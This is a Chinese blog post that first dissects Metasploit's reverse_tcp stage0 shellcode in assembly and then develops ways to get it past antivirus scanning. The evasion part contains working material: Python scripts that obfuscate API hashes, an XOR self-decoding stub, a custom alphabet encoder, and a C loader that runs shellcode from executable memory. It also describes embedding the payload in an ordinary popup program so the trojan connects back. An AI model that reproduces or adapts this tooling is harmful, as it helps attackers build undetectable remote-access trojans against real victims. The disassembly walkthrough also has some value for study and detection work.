目录

  • Meterpreter 工作原理
    • 艰难坎坷的payload落地
    • stage 0 payload 工作原理
  • 关于免杀的思考
    • 模糊混淆特征
    • 自编码解码
    • 黑盒角度深入探究杀软引擎工作方式
  • 代码地址

Meterpreter 工作原理

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LP
ORT=31012 -f c > test2.cunsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
...
...

这样一段由msf生成的meterpreter paylaod仅300字节的shellcode,到底是如何完成meterpreter强大的功能的?

为了求得解答,我们参阅rapid7 官方的博文

首先回答一个问题,什么是staged payload (即阶段形有效载荷)

根据博文中的解释,staged payload 一般使一种尽可能紧凑并且用于为后续攻击创造更好的执行环境(如更大的内存空间,应为二进制攻击往往能够存储shellcode的空间不多)

初始的shellcode往往被称为stage0,他一般会创建一个链接,并且从连接处获取更多载荷到内存空间中,一旦所有资源准备妥当,他将把控制流交给新的有效载荷,更具不同的形式还分reverse_tcp,reverse_http等等

由于阶段化,模块化的特点,使他容易拓展,不过他也有缺点,比如网络环境不好的情况,这时候需要考虑生成stageless版本的payload

艰难坎坷的payload落地

总的来说,只要第一阶段的payload能够在目标机上被执行,我们就能完成后续阶段的渗透工作方法一般是将payload嵌入到原本信任二进制执行文件中,欺骗诱使目标点击我们的木马,即可完成上线,听起来不错,可是metasploit毕竟是一个已经出现了很长一段时间的开源工具,其payload特征早已经被各大安全厂商研究透彻,并且已经写出了各种规则来查杀,笔者为了做一些测试,windows defender也是一个不放过

那么对于这样优秀的工具,如果根本用不了,那岂不是太可惜了。尽然有查杀技术,自然也有免杀技术,针对静态查杀,最好的方式自然就是,屏蔽原有的特征,改写payload,使用加密,或是插入大量花指令针对规则进行混淆,针对动态查杀,则可以行为自检,如果被监控,则不执行,针对流量msf自身还提供了带对称加密传输的版本

stage 0 payload 工作原理

竟然stage 0是唯一需要落地的过程,是查杀,反查杀斗争的开始,那我们得先搞清楚stage 0执行原理究竟是什么样的,如果能使stage 0的payload安然落地,那么可以说后续的攻击也能大概率能顺利进行

首先将payload,丢进反汇编器开始分析

debug029:00030000 cld
debug029:00030001 call    loc_30095

刚开始运行,就跳转了一个短片段开始执行

debug029:00030095 loc_30095:                              ; CODE XREF: debug029:00030001↑p
debug029:00030095 pop     ebp
debug029:00030096 push    3233h
debug029:0003009B push    5F327377h
debug029:000300A0 push    esp
debug029:000300A1 push    726774Ch
debug029:000300A6 mov     eax, ebp
debug029:000300A8 call    eax

注意刚刚跳转来实际上用的是call 也就是 push eip jmp loc_30095 这样的命令,刚来就使用了,pop ebp 这条指令eip被保存到ebp中去了,紧接着

push 3233
push 5f327377
push esp
push 726774c
mov eax,ebp
call eax

这段push,跟到栈中,实际上发现,就是将ws2_32字符串压到了栈里,并且 把字符串地址和726774c(这是loadlibraryA函数名的哈希值)作为参数,再次call回了ebp中保存的eip

这次的call同样使得当前的eip被保存了下来(这里要强调一下,这是payload控制执行流的巧妙之处),jmp回了起初的执行流


接着让我们看看下面的执行流

debug029:00030006 pusha
debug029:00030007 xor     edx, edx
debug029:00030009 mov     edx, fs:[edx+30h]
debug029:0003000D mov     edx, [edx+0Ch]
debug029:00030010 mov     edx, [edx+14h]
debug029:00030013 mov     ebp, esp

首先保存各寄存器状态值,其次再清空edx寄存器

接下来的操作,需要有关windows内部数据结构的基础知识,视角放在NT 32位系统下,我们来简单了解需要用到的数据结构,FS段寄存器保存了当前当前线程相关的信息结构叫做TIB也可以称之为TEB应为他就是TEB的第一字段

https://en.wikipedia.org/wiki/Win32_Thread_Information_Block

https://www.vergiliusproject.com/kernels/x86/Windows%2010/2009%2020H2%20(October%202020%20Update)/_PEB

struct _TEB32
{struct _NT_TIB32 NtTib;                                                 //0x0ULONG EnvironmentPointer;                                               //0x1cstruct _CLIENT_ID32 ClientId;                                           //0x20ULONG ActiveRpcHandle;                                                  //0x28ULONG ThreadLocalStoragePointer;                                        //0x2cULONG ProcessEnvironmentBlock;                                          //0x30ULONG LastErrorValue;                                                   //0x34ULONG CountOfOwnedCriticalSections;                                     //0x38ULONG CsrClientThread;                                                  //0x3cULONG Win32ThreadInfo;        ....
....

在他的0x30偏移处保存了PEB(Process Enviroment Block)的线性地址,所以mov edx, fs:[edx+30h]这个操作实际上就是取出了PEB

struct _PEB
{UCHAR InheritedAddressSpace;                                            //0x0UCHAR ReadImageFileExecOptions;                                         //0x1UCHAR BeingDebugged;                                                    //0x2union{UCHAR BitField;                                                     //0x3struct{UCHAR ImageUsesLargePages:1;                                    //0x3UCHAR IsProtectedProcess:1;                                     //0x3UCHAR IsImageDynamicallyRelocated:1;                            //0x3UCHAR SkipPatchingUser32Forwarders:1;                           //0x3UCHAR IsPackagedProcess:1;                                      //0x3UCHAR IsAppContainer:1;                                         //0x3UCHAR IsProtectedProcessLight:1;                                //0x3UCHAR IsLongPathAwareProcess:1;                                 //0x3};};VOID* Mutant;                                                           //0x4VOID* ImageBaseAddress;                                                 //0x8struct _PEB_LDR_DATA* Ldr;                                              //0xcstruct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x1  ...
...

来到 mov edx,fs:[edx+0x0c],由于edx现在保存的peb的信息,peb偏移0xc处,保存的是struct _PEB_LDR_DATA* Ldr一个指针,取出其中保存的地址,现在edx存储的实际就是 struct _PEB_LDR_DATA结构

struct _PEB_LDR_DATA
{ULONG Length;                                                           //0x0UCHAR Initialized;                                                      //0x4VOID* SsHandle;                                                         //0x8struct _LIST_ENTRY InLoadOrderModuleList;                               //0xcstruct _LIST_ENTRY InMemoryOrderModuleList;                             //0x14struct _LIST_ENTRY InInitializationOrderModuleList;                     //0x1cVOID* EntryInProgress;                                                  //0x24UCHAR ShutdownInProgress;                                               //0x28VOID* ShutdownThreadId;                                                 //0x2c
}; 

mov edx, [edx+14h]指令实际上就是取出了InMemoryOrderModuleList结构中保存的值,也就是Flink

struct _LIST_ENTRY
{struct _LIST_ENTRY* Flink;                                              //0x0struct _LIST_ENTRY* Blink;                                              //0x4
};

两个指针分别指向其他模块的载入信息,各个载入的模块信息通过这个链表连接起来,这里有个小陷阱,Flink实际上是下一个模块的意思,Blink是上一个,这里可能会让人误解,这不是链接了同一个结构吗,哪有什么额外的信息,实际上这个结构出现在其他结构的子域中

struct _LDR_DATA_TABLE_ENTRY
{struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x8struct _LIST_ENTRY InInitializationOrderLinks;                          //0x10VOID* DllBase;                                                          //0x18VOID* EntryPoint;                                                       //0x1cULONG SizeOfImage;                                                      //0x20struct _UNICODE_STRING FullDllName;                                     //0x24struct _UNICODE_STRING BaseDllName;                                     //0x2c...
...

PEB中的结构实际上含有刚刚内存中一个模块的信息入口结构,这个数据结构还保存了模块加载的基地址(DllBase)

最后再次保存esp到ebp,进入下一片段

debug029:00030015 loc_30015:                              ; CODE XREF: debug029:00030090↓j
debug029:00030015 xor     edi, edi
debug029:00030017 movzx   ecx, word ptr [edx+26h]
debug029:0003001B mov     esi, [edx+28h]

先来看下上面的 _UNICODE_STRING 结构

struct _UNICODE_STRING
{USHORT Length;                                                          //0x0USHORT MaximumLength;                                                   //0x2WCHAR* Buffer;                                                          //0x4
}; 

上面的 movzx ecx, word ptr [edx+26h] 实际上就是 MaximumLength 的值这个值,就是字符串缓冲区的大小 包括最后的空字符,至于mov esi, [edx+28h] 则实际上就是字符串缓冲区的地址


可以看到,指向的地址正式模块名,当前模块刚好就是a.exe主程序名

debug029:0003001E loc_3001E:                              ; CODE XREF: debug029:0003002D↓j
debug029:0003001E xor     eax, eax
debug029:00030020 lodsb
debug029:00030021 cmp     al, 61h
debug029:00030023 jl      short loc_30027
debug029:00030025 sub     al, 20h
debug029:00030027
debug029:00030027 loc_30027:                              ; CODE XREF: debug029:00030023↑j
debug029:00030027 ror     edi, 0Dh
debug029:0003002A add     edi, eax
debug029:0003002C dec     ecx
debug029:0003002D jnz     short loc_3001E

接下来这组代码,是个循环,不断读取字符串,同时做某种运算,最后产出的值在edi中

这里由于之前自己也写过shellcode,凭直觉,认为应该是产出了一个hash值


debug029:0003002F push    edx
debug029:00030030 mov     edx, [edx+10h]
debug029:00030033 mov     eax, [edx+3Ch]
debug029:00030036 add     eax, edx
debug029:00030038 mov     eax, [eax+78h]
debug029:0003003B push    edi
debug029:0003003C test    eax, eax
debug029:0003003E jz      short loc_3008C

这段代码,先保存了,edx这个模块信息的索引,然后edx+10h取出DllBase,模块基地址

然后又不知道操作了什么结构,经过add eax,edx后,eax变成了PE头的位置


既然通过某种方式由基地址定位到了PE头,那应该和PE的结构有关,去查阅相关资料

https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#ms-dos-stub-image-only

MS-DOS Stub (Image Only)
The MS-DOS stub is a valid application that runs under MS-DOS. It is placed at the front of the EXE image. The linker places a default stub here, which prints out the message "This program cannot be run in DOS mode" when the image is run in MS-DOS. The user can specify a different stub by using the /STUB linker option.At location 0x3c, the stub has the file offset to the PE signature. This information enables Windows to properly execute the image file, even though it has an MS-DOS stub. This file offset is placed at location 0x3c during linking.

MS-DOS头是PE的开始,基地址处就是MS-DOS头,按照微软所述,0x3c偏移处保存了,距离PE头的偏移

所以,mov eax,[edx+3ch] add eax,edx 就是得到了PE头开始的地址

位于0x78位置,就可以得到函数导出表目录的偏移

struct _IMAGE_DATA_DIRECTORY
{ULONG VirtualAddress;                                                   //0x0ULONG Size;                                                             //0x4
};

SIZE则保存了,总共导出表的大小

test    eax, eax
debug029:0003003E jz      short loc_3008C
debug029:00030040 add     eax, edx

这一小段判断了,究竟是否存在导出表

typedef struct _IMAGE_EXPORT_DIRECTORY {DWORD   Characteristics;   DWORD   TimeDateStamp;      WORD    MajorVersion;        WORD    MinorVersion;       DWORD   Name;               DWORD   Base;               DWORD   NumberOfFunctions;  DWORD   NumberOfNames;     DWORD   AddressOfFunctions;     DWORD   AddressOfNames;        DWORD   AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

更具上边的导出表目录结构指示,eax+18h实际上就是取得了导出函数名字的总数

而eax+20h则是名称字符串表的起始偏移地址

               add     eax, edx
debug029:00030042 mov     ecx, [eax+18h]
debug029:00030045 push    eax
debug029:00030046 mov     ebx, [eax+20h]
debug029:00030049 add     ebx, edx

接下来这段代码,形式上应该也是哈希算法,循环取字符串数组中的每一个字符串

计算对应哈希值,与之前存到栈中的哈希ebp+24作比较,如果不同则继续下一个函数名称

debug029:0003004B loc_3004B:                              ; CODE XREF: debug029:00030069↓j
debug029:0003004B test    ecx, ecx
debug029:0003004D jz      short loc_3008B
debug029:0003004F xor     edi, edi
debug029:00030051 dec     ecx
debug029:00030052 mov     esi, [ebx+ecx*4]
debug029:00030055 add     esi, edx
debug029:00030057
debug029:00030057 loc_30057:                              ; CODE XREF: debug029:00030061↓j
debug029:00030057 xor     eax, eax
debug029:00030059 lodsb
debug029:0003005A ror     edi, 0Dh
debug029:0003005D add     edi, eax
debug029:0003005F cmp     al, ah
debug029:00030061 jnz     short loc_30057
debug029:00030063 add     edi, [ebp-8]
debug029:00030066 cmp     edi, [ebp+24h]
debug029:00030069 jnz     short loc_3004B

接下来,这个片段,是根据字符串序数,取出函数实际地址

debug029:0003006C mov     ebx, [eax+24h]
debug029:0003006F add     ebx, edx
debug029:00030071 mov     cx, [ebx+ecx*2]
debug029:00030075 mov     ebx, [eax+1Ch]
debug029:00030078 add     ebx, edx
debug029:0003007A mov     eax, [ebx+ecx*4]
debug029:0003007D add     eax, edx
debug029:0003007F mov     [esp+24h], eax

紧接着进行堆栈平衡,这个popa,还将上面得到LoadLibraryA函数地址返回给eax
在使用pop 恢复最早之前跳转来的地址,并将传入的哈希弹出
最后剩下的只有一开始的传来的ws2_32字符串地址作为参数,完美的成为了LoadLibraryA 的参数,最后通过jmp eax,整个过程好像没经历过函数地址的查询过程,完成了LoadLibraryA(“ws2_32”) 的调用,由于之前是call跳转过来查询函数地址的,windows又是stdcall,所以最后由内核空间也可以完美跳转回来

紧接着下面,就是对其他需要的api继续的搜索,调用,经过上面的分析后,其实下面的调用,已经如出一辙,
通过对关键call指令下断点,可以看出具体进行了怎样的调用


第一次recv,从服务器上获取了一个数字,更具后面的recv判断应该是,获取了第二阶段recv将收到的
所有字节数

virtualalloc更具数字开辟一个内存空间

再次recv数据到对应的内存空间中 ,刚好读取了0x10b字节的数据

尔后利用ret跳转到开辟的内存空间中执行指令

二阶段的payload的形式类似,也是查找API,执行API的过程,但由于这段指令不落地,所以相比一阶段更难以被查杀



另外选了两中不同的payload,但是大小一样,猜测stage0的payload可能都是这样一段接受代码,不过由于服务端设置的
paylaod不同,返回地数据不同

关于免杀的思考

竟然执行流程,搞清楚了,其实看下来这段payload特征的确十分明显,除了其中会出现的ws2_32这样的字眼还有就是连续的函数调用,在代码空间上都是紧挨着的,实际上这段代码,逻辑我们完全搞清了,完全可以自己写出结构不一样的payload(笔者之前学习写过一段500字节大小的反弹shell)

不过,我们现在考虑的是如何,直接在已有的msf payload上改造,调整,使其有能力进行免杀。

这里笔者准备使用pwntools并且在汇编级别进行payload的调整和开发。

从静态查杀的角度思考,自然可以通过描述关键指令的特征来对msf进行查杀,msf用的各种函数哈希值,可以明显被作为特征,又或者是其中出现的对TEB,PEB的取出各种数据结构的索引,包括哈希值的计算都是msf的指纹

从动态查杀的角度,msf的流量可以用自带的对称加密屏蔽,至于沙箱,应该可以通过自检测的代码,取消执行,防止被查杀

这里我们先探讨静态查杀,先来看看未经任何处理的msf payload在杀毒软件上效果如何

现在针对,之前提到的特殊哈希值和参数进行混淆处理,模糊特征

模糊混淆特征

我们的思路是这样的,用同等效力的指令代替掉原有的参数传递指令,比如针对push 0x726774c 这是一条将LoadLibrayA哈希入栈的指令,可以将它拆分为

 mov eax,0x7000000  add eax,0x26774c  push eax

或是其它一些代换思路,对于直觉上认为会特征明显的代码块,插入花指令来混淆分析。现在,稍加处理,将所有函数哈希值混淆掉。我们再来观察免杀效果如何

针对这个思路,我首先将payload反汇编,在反汇编需要混淆的位置,插入了我们提前定义好的标签,然后编写了python脚本,解析汇编中的标签,插入混淆的指令,再将其翻译成payload

def confuse_push(reg,value):value = int(value,16)sub_val1 = random.randint(1,value-1)sub_val2 = value-sub_val1asm = "push {};\n".format(reg)asm += "mov {},{};\n".format(reg,hex(sub_val1))asm += "add {},{};\n".format(reg,hex(sub_val2))asm += "xchg {},[esp];".format(reg)return asm_confuse_tag_pattern_ = "<\s*([a-zA-z]+)\s+value\=\((([a-zA-Z0-9_]+\,)*[a-zA-Z0-9_]+)\)\s*>"def extract_tag(code):while re.search(_confuse_tag_pattern_,code):tag = re.search(_confuse_tag_pattern_,code)front = code[:tag.span()[0]]back = code[tag.span()[1]:]tag = tag.groups()confuse_type = tag[0]confuse_args = [arg.strip() for arg in tag[1].split(',')]if(confuse_type == "push"):code = front + confuse_push(*confuse_args) + backreturn code
...
...
call_LoadLibraryA:
pop ebp;
<push value=(eax,0x3233)>
<push value=(eax,0x5f327377)>
push esp;
<push value=(eax,0x726774c)>
mov eax,ebp;
call eax;call_WSAStartup:
mov eax,0x190;
sub esp,eax;
push esp;
push eax;
<push value=(eax,0x6b8029)>
call ebp;
push 0xa;...
...call_connect:
push 0x10;
push esi;
push edi;
<push value=(eax,0x6174a599)>
call ebp;
test eax,eax;
jz call_recv;
dec DWORD PTR [esi+8]
jnz call_connectcall_not_connect:
call call_exit;call_recv:
push 0;
push 4;
push esi;
push edi;
<push value=(eax,0x5fc8d902)>
call ebp;
cmp eax,0;
jle call_not_recv;call_VirtualAlloc:
mov esi,[esi];
push 0x40;
<push value=(eax,0x1000)>
push esi;
push 0;
<push value=(eax,0xe553a458)>
call ebp;
xchg eax,ebx;
push ebx;...
...call_not_recv:
push edi;
<push value=(eax,0x614d6e75)>
call ebp;
pop esi;
pop esi;
dec DWORD PTR [esp];
jnz call_WSASocket;
jmp call_not_connect;...
...


看得出来,已经略有效果,不过手动对各处指令插入,混淆,工作量较大,同时也难以掌握诀窍

自编码解码

编码器,解码器,从全局的角度将payload混淆加密,最后产生的payload,其实需要我们主动去混淆的代码就被集中到了解码器的部分,所以,如果使用编码器处理paylload再针对解码器部分做混淆应该更能掌握要点

先来做个简单的异或自解码payload,来看看效果

为此我们参考,payload中查找VirtualAlloc,开辟内存空间的方式,编写自解码器

这段解码器的代码只需要直接插在正式payload头部即可使用,其核心技巧在于,在正式payload之间也是就解码器的尾部是一个call指令,call成功获取了正式payload存储的地址,而后将其解码并读取进VirtualAlloc开辟的内存空间(这似乎暴露了个明显特征),同时我设计了一个新的标签macro,用于复用这段代码,可以带入解码所用的key,以及payload的大小等必须参数

def confuse_macro(value):return _confuse_context_[value]  def confuse_xor_encoder(decoder_key,code):encoded = ""for c in code:encoded += chr(ord(c)^int(decoder_key,16))return encoded  def extract_tag(code):while re.search(_confuse_tag_pattern_,code):tag = re.search(_confuse_tag_pattern_,code)front = code[:tag.span()[0]]back = code[tag.span()[1]:]tag = tag.groups()confuse_type = tag[0]confuse_args = [arg.strip() for arg in tag[1].split(',')]if(confuse_type == "push"):code = front + confuse_push(*confuse_args) + backelif(confuse_type == "macro"):code = front + confuse_macro(*confuse_args) + backreturn code
jmp get_code_addr;code_decoder:
xor edx,edx;
mov edx,fs:[edx+0x30];
mov edx,[edx+0x0c];
mov edx,[edx+0x1c];mov edx,[edx];
mov ebx,[edx+0x08];find_VirtualAlloc_for_decoder:
mov edx,[ebx+0x3c];
mov edx,[edx+ebx+0x78];
add edx,ebx;
push edxmov edx,[edx+0x20];
add edx,ebx;push ebx;xor edi,edi;next_function_loop_for_decoder:
inc edi;
mov esi,[edx+edi*4];
add esi,[esp];xor ebx,ebx;
xor ecx,ecx;
xor eax,eax;hash_loop_for_decoder:
lodsb;
cmp al,0x00;
je compare_hash_for_decoder;
rol ebx,0x8;
xor al,cl;
inc ecx;
add ebx,eax;
jmp hash_loop_for_decoder;
compare_hash_for_decoder:
cmp ebx,0x2c324026;
jnz next_function_loop_for_decoder;
pop ebx;
pop ecx;
mov edx,[ecx+0x24];
add edx,ebx;mov di,[edx + 2*edi];
mov ecx,[ecx+0x1c];
add ecx,ebx;
add ebx,[ecx+4*edi];call_VirtualAlloc_for_decoder:
push 0x40;
push 0x1000;
push <macro value=(payload_size)>;
push 0x0;
call ebx;
mov edi,eax;
mov esi,[esp];
mov [esp],edi;
mov ecx,<macro value=(payload_size)>;
xor eax,eax;load_to_memory_for_decoder:
cmp ecx,0x0;
jz end_load_for_decoder;
lodsb;
xor al,<macro value=(decoder_key)>;
stosb;
dec ecx;
jmp load_to_memory_for_decoder;end_load_for_decoder:
pop eax;
jmp eax;get_code_addr:
call code_decoder;

生成payload

from AFool.template import *
from AFool.module.confuse import confuse_xor_encoder
from AFool import print_c_payload,confuse_contextdecoder_key = "0x71"confuse_context("decoder_key",decoder_key)
confuse_context("LHOST","0x100007f") #127.0.0.1
confuse_context("LPORT","0x2479") #31012payload = default_payload("stage0")
payload = confuse_xor_encoder(decoder_key,payload)confuse_context("payload_size",hex(len(payload)))decoder = default_decoder("xor_decoder")payload = decoder + payloadprint "Generate Payload Size: {}".format(len(payload))print print_c_payload(payload)


相比初始payload,已经提升了将近一倍的效果。不过在之后对解码器头部的混淆,效果都不明显,不知道分析引擎的具体技术,是不是包含了动态分析。还是说,异或加密算法,很容易被特征检测出来。总之看起来效果还是不错的

黑盒角度深入探究杀软引擎工作方式

再对解码头进行进一步混淆后,免杀效果几乎没有变化,笔者猜测,这里的引擎,是否存在动态行为检测机制 ,于是分两次,一次向decoder头部插入ret,这样根本不会解码,第二次直接向payload部分插入了一个ret,并且这次没有做混淆,这样即使解码,最后的payload还是不会执行

ret
cld;
call call_LoadLibraryA;
pusha;
mov ebp,esp;
xor edx,edx;
add edx,0x30
mov edx,fs:[edx];
push edx;
...
...

再次上传分析

结果两次,看起来并没有产什么影响,网站的引擎应该不涉及动态分析

竟然不涉及动态分析,那么静态分析应该更多些,笔者再次混淆decoder,同时也混淆实际payload,再次上传查看效果


有些许效果,有些引擎这次并没能检查出来,注意到竟然不涉及到动态分析,不跟踪代码流程,剩下这些引擎就能查杀到这种地步,还能分析出样本是meterpreter,笔者猜测是否使用深度学习技术,并且用于学习的样本,自变化,包含了一些常见的编码样本,这次决定直接将编码后的payload上传分析,同时根本不包含解码器,这样这段代码,完全就没法执行,执行就会程序崩溃


结果似乎符合我们的预期,还是被查杀了

这样看来,很有可能是基于大样本训练出来的模型,这样的化如果我们想要静态免杀,可能需要对payload做更强的加密,简单的异或已经不能满足需求了

在后续的测试中,笔者切换了加密算法,同时调整,加载器的代码,但是仍然是这些引擎,会报毒,即使一些算法上无法解密的payload

加载器

typedef void (__stdcall *CODE) ();  int main(){PVOID p = NULL;  if ((p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)  MessageBoxA(NULL, "error", "info", MB_OK);  if (!(memcpy(p, buf, sizeof(buf))))  MessageBoxA(NULL, "error", "info", MB_OK);  CODE code =(CODE)p;  code();  return 0;
}

对于去掉加载器的,可执行程序,这段payload就相当于一段长长的字符串,杀软对他的自信心削弱了


甚至没有明显标注出他是meterpreter,但是再加上加载器后,即便加密的字符串,更本没法解密执行,有些引擎仍然认为他是meterpreter

猜测,这些引擎,对于内存中出现的大段可能无意义的字符串表现很敏感,极大程度就把他当作是meterpreter,这点笔者自己写的shellcode部分引擎也认为他是meterpreter,从这个角度看,这些引擎实在也不高明

现在思路也许可以转换到,将payload分散布置在内存中,减少对加载器的依赖,同时最好使用类似base64这种能将payload编码成可见字符的编码器,也许可以降低杀软的敏感程度

为了验证新的思路,我设计了一种编码,将字符串编码到小写字母表中

def confuse_char_encoder(decoder_key,code):encoded = ""if len(code) % 2:code += "\x00"total = len(code) // 2while len(code):tmp = code[0:2]tmp = ord(tmp[0])*256 + ord(tmp[1])code = code[2:]tmp = tmp^(ord(decoder_key[0])*256+ord(decoder_key[1]))enc = ""while tmp > 25:enc = chr(97+(tmp%26)) + enctmp = tmp // 26if tmp:enc = chr(97+tmp) + encif enc:if not tmp:enc = chr(97+tmp) + encelse:enc = chr(97+tmp) + encenc += " "encoded += encreturn encoded.strip()

设计好解码器后,产出payload ,可以看到除了头部的解码器,其中包含大量明文

同时,几番测试,发现引擎很容易对体积小的控制台程序敏感,所以我选择用一个普通的弹窗程序,然后修改其二进制数据,插入payload



在对应main函数入口点,修改原来的二进制内容,插入我们的payload

服务端设好监听,双击已能连接上

再次上传分析


距离之前可用的木马,检出又少了2个,在编码,解码器,插入点,继续调优,相信应该是可以获得比较好的面纱能力的

最后让我们试着来调戏一下,杀软引擎,使用一串根本就是随机生成的字符串,来看看她是啥反应

import randomf = open("haha.txt","w")for x in range(584):f.write("\\x"+hex(random.randint(0,255))[2:])f.close()

编译后,上传再次分析

点名这个VBA32每次都是你,简直就是流氓查杀啊

代码地址

https://gitee.com/s0duku/confused-s0-duku/tree/master

从meterpreter工作原理到免杀方式的分析相关推荐

  1. arp 原理及查杀方式

    ARP的原理和查杀方式 大家好!我是新会员猫猫,希望在以后的日子里大家互相学习. 现在入正题 前些天,女友的QQ闪动中向我发来讯息. 我满心欢喜的用快捷键(CTRL+ALT+Z)打开闪动的QQ :页面 ...

  2. preparestatement中的反射原理_技术文章 |智能网联汽车激光雷达工作原理、性能比较与安全性分析...

    引用本文 武晓宇,张晓,王伟忠.智能网联汽车激光雷达工作原理.性能比较与安全性分析[J].信息安全与通信保密,2020(9):92-98. 摘要 近年来,激光雷达被用于导航领域,如机器人.无人机和智能 ...

  3. 智能网联汽车激光雷达工作原理、性能比较与安全性分析

    本文由武晓宇,张晓,王伟忠联合创作 摘要 近年来,激光雷达被用于导航领域,如机器人.无人机和智能车的自动驾驶(包括辅助驾驶等不同级别).市场上激光雷达的种类多样,测量原理和工作特性差异较大,通过对车载 ...

  4. CMOS门电路工作原理与构成的反相器详细分析

    这里写目录标题 MOS管复习 N沟道增强型 共源接法 P沟道增强型 N.P沟道耗尽型 MOS管的基本开关等效电路 CMOS反相器 电压电流传输特性 输入端噪声容限 CMOS反相器的静态输入特性和输出特 ...

  5. dnsspoof工作原理、编译、源码分析

    dnsspoof 是一个DNS欺骗工具,只要给出将要重定向的域名和域名重定向到的IP,就可以实现DNS欺骗. 下载地址:http://monkey.org/~dugsong/dsniff/ dnssp ...

  6. 远控免杀专题文章(1)-基础篇

    脉搏文库 TideSec [](javascript:void(0)) 2020-02-20 6,218 *前**言* 一直是从事web安全多一些,对waf绕过还稍微有些研究,但是对远控免杀的认知还大 ...

  7. 远控免杀从入门到实践(1):基础篇

    郑重声明 1.文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 2.文中提到的杀软检测指标是 virustotal.com(简称 ...

  8. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  9. 2018-2019-2 网络对抗技术 20165303 Exp3 免杀原理与实践

    实验内容 一. 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分) ...

最新文章

  1. 洛谷3384:【模板】树链剖分——题解
  2. R语言中使用pkgbuild::find_rtools查看是否有Rtools、使用Sys.which函数查看make是否存在、如果没有则安装、使用writeLines函数绑定R和Rtools
  3. java classes.jar_classes.jar
  4. Privatization of Roads in Treeland
  5. 医学影像设备学_医学影像技术考研可选的六大院校
  6. android的指纹问题
  7. JavaFX技巧30:带有DropShadow的ScrollPane
  8. redmine只是管理插件redmine_knowledgebase升级到0.4.0
  9. netty支持哪些协议_从零学习netty网络IO通讯开发框架
  10. Bailian2942 吃糖果【递推+打表】
  11. 五秒原则,做一件事之前数 5 秒,1,2,3,4,5 立马去做。比如睡觉:数五秒,立马放下手机,闭眼。...
  12. PreScan第一课:软件简介和基础
  13. 【tf.keras】官方教程一 Keras overview
  14. 用java画一个小猪佩奇_python 画个小猪佩奇
  15. WIN10系统如何彻底关闭防火墙
  16. Scrapy绕过反爬虫策略汇总
  17. 侧边栏如何展开与收起
  18. loadrunner入门教程(24) --Load Generator
  19. 用计算机弹出草木,2011-06-06 2010~2011年北京市石景山区普通高中信息技术《信息技术基础》《人工智能初步》—笔试试题(定稿...
  20. http 1.php,php利用socket扩展写一个简单的单进程http服务1

热门文章

  1. 5G消息赋能,菊风助力银行业加速融入数字化场景生态
  2. 程序人生丨想学编程,大学什么样的专业能成为一名真正的程序员?
  3. 面试必备:聊聊sql优化的15个小技巧
  4. OKR之剑·总结篇01:如何开好一场OKR复盘会
  5. Yii2如何使用Yii:t()
  6. 【腾讯笔试题】2019年腾讯实习正式批移动端开发笔试题
  7. 腾讯笔试题--微信红包
  8. 扬州新华计算机学校,新华电脑学校
  9. mac 系统下android源码下载以及使用(总结)
  10. Swagger无法渲染 Finished Loading Resource Information. Rendering Swagger UI...